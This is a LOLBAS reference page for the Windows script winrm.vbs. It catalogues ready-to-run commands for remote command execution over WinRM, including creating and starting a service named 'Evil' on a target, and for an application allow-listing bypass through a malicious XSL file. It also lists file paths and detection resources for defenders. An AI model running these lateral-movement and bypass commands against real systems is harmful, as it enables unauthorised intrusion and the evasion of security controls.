LOLBAS. GitHub
LIVING OFF THE LAND / OS SCRIPTS

winrm.vbs

View source

Script used for manage Windows RM settings

ExecuteAWL Bypass
03COMMAND EXAMPLES
02ATT&CK TECHNIQUES
04DETECTION RESOURCES
02CAPABILITIES
01 / TRADECRAFT

Command reference

3 examples

Execute2

EXAMPLE 01T1216

Lateral movement/Remote Command Execution via WMI Win32_Process class over the WinRM protocol

COMMAND
winrm invoke Create wmicimv2/Win32_Process @{CommandLine="{CMD}"} -r:http://target:5985
USE CASE
Proxy execution
PRIVILEGES
User
OPERATING SYSTEM
Windows 10, Windows 11
Execute · CMDExecute · Remote
EXAMPLE 02T1216

Lateral movement/Remote Command Execution via WMI Win32_Service class over the WinRM protocol

COMMAND
winrm invoke Create wmicimv2/Win32_Service @{Name="Evil";DisplayName="Evil";PathName="{CMD}"} -r:http://acmedc:5985 && winrm invoke StartService wmicimv2/Win32_Service?Name=Evil -r:http://acmedc:5985
USE CASE
Proxy execution
PRIVILEGES
Admin
OPERATING SYSTEM
Windows 10, Windows 11
Execute · CMDExecute · Remote

AWL Bypass1

EXAMPLE 01T1220

Bypass AWL solutions by copying cscript.exe to an attacker-controlled location; creating a malicious WsmPty.xsl in the same location, and executing winrm.vbs via the relocated cscript.exe.

COMMAND
%SystemDrive%\BypassDir\cscript //nologo %windir%\System32\winrm.vbs get wmicimv2/Win32_Process?Handle=4 -format:pretty
USE CASE
Execute arbitrary, unsigned code via XSL script
PRIVILEGES
User
OPERATING SYSTEM
Windows 10, Windows 11
Execute · XSL
02 / ON DISK

Known paths

C:\Windows\System32\winrm.vbs
C:\Windows\SysWOW64\winrm.vbs
03 / DEFENSIVE INTELLIGENCE

Detection & indicators

4 resources
REFERENCE IMPLEMENTATIONS

Code samples

FURTHER READING

Research & resources

COMMUNITY RESEARCH

Acknowledgements

Matt Graeber@mattifestation
Matt Nelson@enigma0x3
Casey Smith@subtee
Jimmy@bohops
Red Canary Company cc Tony Lambert@redcanaryco